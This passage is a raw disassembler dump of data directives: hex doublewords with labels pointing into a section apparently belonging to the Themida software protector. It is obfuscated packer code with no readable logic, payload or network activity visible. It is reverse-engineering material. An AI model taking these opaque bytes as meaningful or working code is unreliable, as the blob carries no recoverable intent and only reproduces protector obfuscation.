		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 4AC905C3h, 0DDBD8985h, 8B064810h, 481CE1B5h,	0FB8B9306h
		dd 8E850h, 0EC950000h, 37D659F2h, 7BF6895h, 5F18612Bh
		dd 52006A93h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 1E96B6AAh, 0F6C6507Dh, 1B85BD8Bh, 0B5FF0648h
		dd 64805E5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	3AC35545h, 494B9DDh, 290252D9h,	482B4585h, 6195FF06h
		dd 8B064830h, 482401BDh, 6A00B006h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 221BC352h
		dd 55A9126Eh, 0E6F8DAC2h, 95896070h, 64822C9h, 2CED9D8Bh
		dd 0E4610648h, 51006A71h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 3CF08BC3h, 53830F61h
		dd 6A000002h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0C4E6C350h, 0EE810FA4h, 13F6F921h
		dd 6AD8B60Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 1BA7C356h, 2550D279h, 0D6C8BFA0h
		dd 24AD8D89h, 6BA0648h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 743DC357h
		dd 8BF98B66h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0B80495ABh, 51F090BFh, 0F602689h
		dd 68Dh, 219D8B00h, 89064821h, 4808B19Dh, 0E8C16106h, 0F766F504h
		dd 53006AE2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 956C98F7h, 0E81E5BDFh, 0BF66A3FBh, 0D82B9F8Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F3C35646h
		dd 618B3DBh, 58D4ACB0h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 54C35343h, 0FD82BF7h,	12588h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 816718BAh, 6D9E41F7h, 6830F3Bh, 8B000000h, 480B11BDh
		dd 7B906h, 890F0000h, 0Ch, 68F0Fh, 95890000h, 64827EDh
		dd 6000C183h, 13E956h, 302A0000h, 2BB7659Eh, 72508963h
		dd 957ACA06h, 50CF4EBDh, 8B665F18h, 0D93B61D1h,	0B4860Fh
		dd 800F0000h, 12h, 0DE9h, 25E51D00h, 982FF8A3h,	0C07830F4h
		dd 8C660504h, 4C1F6D9h,	89840Fh, 0FA8B0000h, 6A195FFh
		dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 46D920C3h, 665F51CEh, 5B617FBFh, 2371B58Bh
		dd 0C32B0648h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	7BC35343h, 8343DDCh, 860F0000h,	2Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E3C35545h, 64FAEA6Ah
		dd 85F14692h, 9E9h, 8BF28B00h, 0B5B9BFC0h, 0C38B22CAh
		dd 8152D88Bh, 0BDDB11C7h, 85C75E10h, 6482AC1h, 72EE81D9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C4C35343h
		dd 9B2CE69h, 48248D95h,	6AC08B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7217C357h
		dd 4B45593h, 8E9h, 95032A00h, 0F63DD78Ch, 0E5BD816Eh, 0D0064805h
		dd 0F000007h, 2A85h, 0BAC78100h, 0FF70DB12h, 4805E585h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0FFDF1BBDh, 4805E5B5h, 13E806h, 86100000h
		dd 38FCC5AEh, 74A7A215h, 577068B6h, 0ACDDFF73h,	0E9852913h
		dd 5E06482Ah, 306195FFh, 0DE90648h, 86000000h, 2C348606h
		dd 980A1249h, 0C9DABD09h, 85894090h, 6481F49h, 26B5BD83h
		dd 0F000648h, 0B284h, 0C98D2900h, 83064806h, 482F19BDh
		dd 840F0006h, 9Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 5FC35747h, 5731E236h,	0B1FFF7BAh, 30B18589h
		dd 95FF0648h, 64826B5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0F2C35646h, 6E818h, 0C9020000h, 778DD969h
		dd 0AE9h, 0E30BF300h, 7A1299DFh, 5EE5690Dh, 840FC00Bh
		dd 2Fh,	61CB8B60h, 4B648D8Dh, 0B58B0648h, 648059Dh, 5B8h
		dd 0DD958900h, 0FF064805h, 75B589E1h, 0F06481Fh, 68Bh
		dd 0ADBD8B00h, 83064820h, 481BA1BDh, 840F0006h,	4D8h, 446ABF66h
		dd 0F7DBD8Bh, 0BD830648h, 6482F19h, 0C1840F00h,	89000004h
		dd 482119B5h, 618D8D06h, 6A064809h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 886CC357h
		dd 3924CFC2h, 2931BD29h, 1C70648h, 44B27C84h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 48C35040h, 81F9F312h
		dd 99CFCB01h, 35858914h, 0C706480Bh, 6B340441h,	0BD8BCE70h
		dd 6480DD9h, 10044181h,	6A31D6D7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6A03C357h
		dd 819D0900h, 8D06481Bh, 48096185h, 0F9858906h,	9006480Ah
		dd 9C2DBE50h, 0E8906DBAh, 0Ah, 5D4AF1C5h, 0F6688C38h, 0BD8BD8E3h
		dd 6482D9Dh, 0A195FF5Fh, 0F906481Bh, 9618D8Dh, 6A0648h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 835240C3h
		dd 462EB6F2h, 2B7DBD8Bh, 1C70648h, 0
		dd 10E9h, 127FD900h, 3044D4D0h,	2559C328h, 6E5095EFh, 441C790h
		dd 0
		dd 9E18589h, 8D890648h,	6481575h, 840FC00Bh, 1Fh, 58F0Fh
		dd 81660000h, 8DC7B4EEh, 484B648Dh, 0A1BD2906h,	0B8064821h
		dd 5, 8DE1FFF9h, 4809618Dh, 0A5BD2906h,	0C706480Fh, 0AA727C01h
		dd 94D2BF44h, 18136AAh,	1499CFCBh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 27C35040h, 79ADAC37h, 3C0441C7h
		dd 23CE7875h, 480FC9BDh, 4418106h, 31D6D710h, 77A7BF66h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8BD4C7C3h, 482A49B5h, 61858D06h, 6A064809h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0D02C355h, 61BF4F81h, 67261554h, 67BE90F9h
		dd 50767D4Ch, 8D0Fh, 6A900000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 7A3EC351h, 0BBCD72A1h
		dd 0A195FFC9h, 0E806481Bh, 14h,	0E2888CD8h, 63C8C283h
		dd 0D6A17694h, 8DAB538Fh, 5CD9A641h, 82DF8166h,	0DE815EA5h
		dd 3A3E8C62h, 9618D8Dh,	6A0648h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0E9EFDAC3h, 5, 0C053D65Dh
		dd 0DF816609h, 1C77746h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E9C35242h
		dd 104A72CCh, 441C7h, 1000000h,	482F8DB5h, 0FC00B06h, 6384h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8D8DA983h, 6484B64h, 202DB58Bh, 5B80648h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 3D1AC352h, 0E1FF95DBh,	0FE9h
		dd 72D1C900h, 15ED889Dh, 535D8705h, 0EB4987B1h,	9618D8Dh
		dd 0BD230648h, 6482CC9h, 95A501C7h, 6A54CAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 81604CC3h
		dd 99CFCB01h, 6DB50314h, 0C706480Fh, 59690441h,	8166CE5Fh
		dd 817F2EC6h, 0D7100441h, 6A31D6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 3A81EC3h, 358D8913h
		dd 8906480Dh, 480CC985h, 23006A06h, 48098DBDh, 61858D06h
		dd 0BE064809h, 6191C192h, 24048950h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0C5C35545h,	8426E09Eh, 0D0F20DCDh
		dd 69B58B52h, 5E064815h, 1BA195FFh, 6A0648h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0A481E0C3h
		dd 2BB22E2Ah, 618D8D9Ch, 31064809h, 48047185h, 0BD035606h
		dd 6481E45h, 1C75Fh, 89000000h,	482AF1BDh, 441C706h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E9C35343h
		dd 57B10326h, 840FC00Bh, 6Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 58C35242h, 66374F89h, 9589F38Bh
		dd 6480AA9h, 4B648D8Dh,	6A0648h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0BBED7EC3h, 0DC12D329h
		dd 16C90CBh, 480F51B5h,	5B806h,	8D310000h, 6481945h, 0BD01E1FFh
		dd 64818CDh, 61E9CA03h,	8BFFFFF3h, 4826C1B5h, 3DB58B06h
		dd 8B064809h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 2D81FB16h, 0E5EE814Ah, 4EBh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0CCF8AAC3h, 6E953h, 13B60000h, 0A2D2C30Bh, 32FD858Dh
		dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 28B76CC3h, 0EE8ED80h, 26000000h, 0D689A1D3h
		dd 5C2231E7h, 2CFAE249h, 5DB58B17h, 5E064804h, 67BE6690h
		dd 52505016h, 0F78B6656h, 0E8310F5Eh, 8, 301F4AEBh, 6FD3D4FDh
		dd 0EE9h, 0C88E600h, 2D39E78Eh,	352D7A32h, 5EAC71B1h, 8990585Ah
		dd 482E8D95h, 0DB58906h, 6A064821h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0F7BF0FE4h
		dd 0BE9FCh, 54480000h, 3BCAA122h, 2E8BB10Fh, 6A006A41h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0EEEFC357h, 0AE781EABh, 0F5945C7h, 858DF2BFh
		dd 64BE9DDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	69C35747h, 0BCF0F39h, 834F152Fh, 5C08319h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 46C35242h, 0B99D7D0Dh
		dd 0D0E77FD4h, 0B8E0F90h, 0E9000000h, 6, 0B043B0C3h, 0E950E1C3h
		dd 0Bh,	0E740B3A3h, 3633870Bh, 90C8539Eh, 188D8529h, 6A0648h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EDC35747h
		dd 0C39C23B7h, 0AD23D6ADh, 0BE956h, 0ECEF0000h,	0E6AE296Ch
		dd 7A496487h, 0EE95E92h, 80000000h, 0A2513BA4h,	0EC1D594Bh
		dd 40E43EBAh, 6A006AEEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 7B7EC355h, 9D5BD89h
		dd 0AFBE0648h, 0FF2EEBBAh, 48277D95h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 3F3071EDh, 149D8D0Ah, 6A064B9Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 8A24C356h
		dd 0FF0E8989h, 0EE8166D3h, 85FFA46Eh, 6480A2Dh,	14B9B523h
		dd 8D010648h, 64830F1h,	9A4E9h,	0E800h,	815D0000h, 4BE9E7EDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 82F49272h, 0E5BD819Ch, 0D0064805h, 0F000007h
		dd 10A86h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0B18589A6h, 8B06482Dh, 48051D9Dh
		dd 0EE906h, 9DC50000h, 0B5632F1h, 6346E4A4h, 0E53D147Ah
		dd 20A5B58Bh, 0E3810648h, 100h,	2FC68166h, 0FDB0BDFh, 6A85h
		dd 83F08B00h, 4BE77FBDh, 840F0006h, 3Ah, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 9CC35545h, 66BE6653h
		dd 8D8952A9h, 6481C05h,	3DE95Eh, 7E90000h, 0E0000000h
		dd 922BC81Ah, 85C72713h, 64BE77Fh, 1, 20018589h, 1CE90648h
		dd 0F000000h, 689h, 89958900h, 0C7064822h, 4BE77F85h, 6
		dd 4DB58B00h, 8D06482Ch, 48051D9Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 2B81D1F6h
		dd 66432545h, 58FC681h,	0A51BD89h, 23810648h, 0FFFFFEFFh
		dd 66F1B70Fh, 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 3EF3B2C3h, 12BB20E3h, 9529CC54h
		dd 6482A49h, 0F04C3F6h,	8584h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 38BD47E4h
		dd 0F67A356Ch, 95FF77CDh, 64806A1h, 8DB58Bh, 13E90648h
		dd 24000000h, 0B740E31Eh, 0D1FF579Ch, 36E594E8h, 0BE99C3E8h
		dd 66902B18h, 508B92BEh, 11E8h,	0B6866800h, 7F47D9Ah, 0AA97124h
		dd 0FAF5924Dh, 0F28B2B65h, 6A905Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 7CE96AC3h
		dd 9000003h, 48195D85h,	2900B006h, 482369B5h, 2970E606h
		dd 4820A58Dh, 6A71E406h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 4F82C357h, 31709236h
		dd 0FD8B60Fh, 683h, 0BDB58B00h,	1064832h, 480AEDB5h, 6BA06h
		dd 81660000h, 8B33F0C6h, 9B58BC3h, 0C106481Eh, 0F76604E8h
		dd 55006AE2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 157E25EEh, 0B9188CC8h, 0D82BE8B9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 40C35545h, 545B4D1Dh
		dd 0B178E757h, 0B585013Eh, 50064815h, 2C5D8D89h, 8B5E0648h
		dd 935093F0h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	3C35343h, 51918177h, 13E9h, 42E64300h, 778FBABFh
		dd 66D5BAEDh, 4CE7EB0Eh, 74AA05E6h, 5E5B5FFh, 95FF0648h
		dd 6483061h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	2CC35747h, 8E8DA67Dh, 0B58BB9F6h, 64815C1h, 1E55B58Bh
		dd 0B00648h, 709BD01h, 70E60648h, 6A71E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 3C0C57C3h
		dd 14830F61h, 0F000002h, 287h, 0FF28B00h, 0B533D8B6h, 64820B5h
		dd 6BAh, 6830F00h, 8B000000h, 483129B5h, 0F38B6606h, 6AC38Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 2CE213C3h, 0BE4AA8DFh, 0F98F354Bh, 6A04E8C1h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 843EC353h, 8B282C25h, 482519B5h, 0C1B58B06h,	66064806h
		dd 6E9E2F7h, 39000000h,	0E4FEB4F7h, 29D82B00h, 4813ED95h
		dd 0B58B5806h, 64823C9h, 880FD82Bh, 173h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 74C35545h, 0E44F20B7h
		dd 2CBDB58Bh, 7B90648h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9B7C351h
		dd 939F681h, 0D6817AC1h, 7F8617C3h, 5600C183h, 7E8h, 0DAC97500h
		dd 0F35F1B3Dh, 2F599589h, 5E5E0648h, 860FD93Bh,	0FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4FC35343h, 5587CD06h
		dd 3514710h, 482381B5h,	0B58B5E06h, 6483121h, 89D98C66h
		dd 4829DD9Dh, 4C1F606h,	9A840Fh, 0B58B0000h, 6482199h
		dd 6A195FFh
		dd 0B58B0648h, 64824D9h, 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 501AA728h, 2BF38B5Eh
		dd 53006AC3h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 88017E79h, 0FFB19B41h, 8343Dh, 35860F00h
		dd 8B000000h, 480A15B5h, 4DE906h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 79240FC3h
		dd 2EA8A3D5h, 299D8951h, 5E064830h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 2B5991C3h
		dd 8BCD9B7Dh, 6AD88BC3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0D3FAC356h,	1DDF0735h
		dd 0B7071D02h, 26C585C7h, 0BD930648h, 6A562Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 83A18DC3h, 0DF4D30Bh, 0EDB523B3h, 8B064820h,	71B50BC0h
		dd 8106482Ah, 4805E5BDh, 7D006h, 4B850F00h, 0E8000000h
		dd 0Eh,	0F98F5CE8h, 3B728F0Fh, 15AA6C17h, 0BE662A5Ch, 0FF5E5ACDh
		dd 4805E585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0B70F6083h, 7E9D9h, 579E0000h, 9E1C7181h
		dd 0B5FF6139h, 64805E5h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 72C35646h, 30A108DAh,	10E852h, 44E20000h
		dd 0A54AE936h, 3D291DC4h, 0EAFB4168h, 61607C01h, 95FF5E5Eh
		dd 6483061h, 13880Fh, 8C0F0000h, 0Dh, 8E9h, 1CDF0000h
		dd 9EAF57CCh, 0D88B90AAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0B9C35545h, 8D893F39h, 6482D2Dh, 0B19BD83h
		dd 0F000648h, 0B84h, 1D858900h,	0E906482Fh, 2B8h, 6ADF8Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 663FC0C3h, 4C7F7h, 28E850Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0DAB403C3h
		dd 0B371AE3Ah, 870FCEh,	56000000h, 5EF38B66h, 0BD89FF2Bh
		dd 6480935h, 0F3129D8Dh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0B79B4FC3h, 0D8941D11h
		dd 9E9FBh, 0FA0C0000h, 8A0E9736h, 50F348DBh, 8E8h, 0D22E8A00h
		dd 86FAFC3Fh, 9E8B0h, 5F2D0000h, 0BD93F15h, 509345C1h
		dd 895E5E5Eh, 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 7CF378C3h, 1D95897Fh, 64064828h
		dd 35FFh, 6A0000h, 3E855h
		db 2 dup(0)
word_57BF1E	dw 5D20h		; DATA XREF: Themida_:0053D274o
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3A2395C3h
		dd 8601547Dh, 258964h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 6790C353h
		dd 0B98589AAh, 8B064824h, 0DB32BEC4h, 1CD5CBFh,	6A00EBh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0AE0821C3h, 6AB697h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 244384C3h, 8684E1ADh, 816677AAh
		dd 0F0E51F6h, 84h, 58F6400h, 0
		dd 27A1B58Bh, 0C4830648h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0F18ADC43h
		dd 45B58B01h, 81064820h, 0F84292E6h, 0F1BF0F61h, 840FC00Bh
		dd 0E4h, 0BB58D31h, 0BD8D0648h,	6484B64h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0FEC35747h, 443D2D32h
		dd 5B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E9806E40h, 7, 2A3A727h, 0FF523873h
		dd 56006AE7h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 10B1526Eh, 5C8B57A3h, 838B1024h,	0B8h, 140B60Fh
		dd 8389C8FEh, 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 26C7C352h, 880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0CCA68C3h, 0FB044ED0h
		dd 62E9CA2Bh, 8BFFFFF6h, 48302DB5h, 0FCC18B06h,	681B523h
		dd 4EB0648h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7BC35343h
		dd 9598FBCh, 5C82346Ch,	0A8D68129h, 6A5FEF46h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0C40EC352h, 2E818A0Ch, 0A5DBD2Bh, 0BE660648h, 858DC124h
		dd 64832FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0A9C35141h, 326AFBC1h, 29D4A3E1h, 302DBD8Bh, 89500648h
		dd 0BF0F2404h, 0E9006AFEh, 0Fh,	0B6024CE3h, 7A041FBEh
		dd 6E8D060Fh, 6A5387EBh, 0EBF6600h, 0F78B66ECh,	0F599858Dh
		dd 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0B58B37C3h, 648157Dh, 2DDDBD2Bh, 0C0830648h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 14E890F7h, 0F6000000h, 0D3560A58h, 3B590111h
		dd 108712B4h, 534381B9h, 29D1431Fh, 48097185h, 5F565E06h
		dd 24048950h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	0CDC35343h, 0ABB1AF10h,	60923D1Bh, 0E8D8B70Fh
		dd 0Fh,	35BEAC92h, 16E98A84h, 6BDF25C9h, 0F801BB0h, 82h
		dd 6A615B00h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0DA0CF444h, 0BE413722h, 5E938A9Bh
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 5746E0C3h, 6117D679h, 0E18501h, 8D890648h
		dd 6482E4Dh, 277D95FFh,	87BE0648h, 8D666620h, 4B9C149Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0FF1066BFh, 0E68166D3h, 85FF6CB9h, 6480A2Dh
		dd 1EA9BD8Bh, 0BD8B0648h, 6480929h, 838E9h
		db 0
byte_57C30D	db 0E8h, 2 dup(0)	; DATA XREF: Themida_:0053CE50o
		dd 815D0000h, 4BF5A3EDh, 0F98B6606h, 5E5BD81h, 7D00648h
		dd 860F0000h, 1F0h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 5DC35747h, 503D2121h,	0F621B806h, 0C9B58B3Ah
		dd 8B064814h, 4830719Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0FFA4F41Ch, 56B42FC4h
		dd 0B119D89h, 8B660648h, 0E381F2h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 6EE2C352h, 0DF157FD2h, 2EA9BD0Bh, 0DB0B0648h, 0CF850Fh
		dd 0B5310000h, 6482C51h, 0F391BD83h, 0F00064Bh,	6484h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E94E3C6Dh, 14h,	43A90852h, 280FBCFBh, 58150E88h
		dd 0FC4D2463h, 16558560h, 713E88BFh, 0ABE96Eh, 0E9560000h
		dd 11h,	0CDC7667Ch, 21D9953Eh, 1DE5C5h,	0A73991B9h, 80605ED5h
		dd 0BD898FD8h, 64824D9h, 9185C761h, 1064BF3h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0E067C353h, 0E873D509h, 13h, 1A07FADFh, 79FA0C5h
		dd 0F945A729h, 0B601E485h, 0F9505B3h, 486h, 2ABE6600h
		dd 36E95EF3h, 8B000000h, 480FADBDh, 9185C706h, 64BF3h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 5E5EC351h, 89218AACh, 4821219Dh
		dd 719D8D06h, 6A064830h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0AD04C350h,	0E5950141h
		dd 8B064832h, 480A15B5h, 0FF238106h, 6AFFFFFEh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 2116C356h, 0B70A9B24h, 6650CEE6h, 5FDC72BFh,	6ADB8C66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0D3E9C356h, 0EA2512D2h, 0F781380Bh, 5C6421DAh
		dd 2119B58Bh, 0C3F60648h, 5B840F04h, 0E8000000h, 0Dh, 0D3EBFABBh
		dd 3FB00F54h, 9A43D28Ah, 0FF5FF5B8h, 4806A195h,	0D1B50906h
		dd 9006481Bh, 8B565250h, 310F5FF7h, 6650585Ah, 6A90F88Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0FAEDC356h, 7F83B52Dh, 5D639F9Ch,	1A01B589h
		dd 0A7E90648h, 8B000003h, 4806D5B5h, 6000B006h,	6E8h, 0B3192000h
		dd 8BECD9D6h, 0C88B5EDAh, 8B70E661h, 483035BDh,	6A71E406h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 91F4C351h, 11E8h,	2BF8DF00h, 0C0B794E2h
		dd 44B7788Dh, 347FAB75h, 0BF0F4757h, 8B0F5EF8h,	6, 1A8DB523h
		dd 0B60F0648h, 50006AD8h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0AC008A85h, 6BAFAC4h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0C842C353h, 8589CAE3h,	64808D9h
		dd 9D89C38Bh, 64820ADh,	4E8C1F8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 17C35141h, 5C1CBBBh, 5E9F9h
		dd 1FEC0000h, 66D0D9A2h, 6AE2F7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 35604CC3h, 2A51D396h
		dd 0BB0F049h, 48303DB5h, 6AD82B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 27B6C353h
		dd 13E9h, 0DFD4D900h, 0ED3C3A80h, 842DE3A1h, 654EF3C2h
		dd 14CB4027h, 0F605050h, 86h, 615F5000h, 241C895Fh, 5E5B5FFh
		dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 61BD46C3h, 9589506Ah, 6483091h, 306195FFh
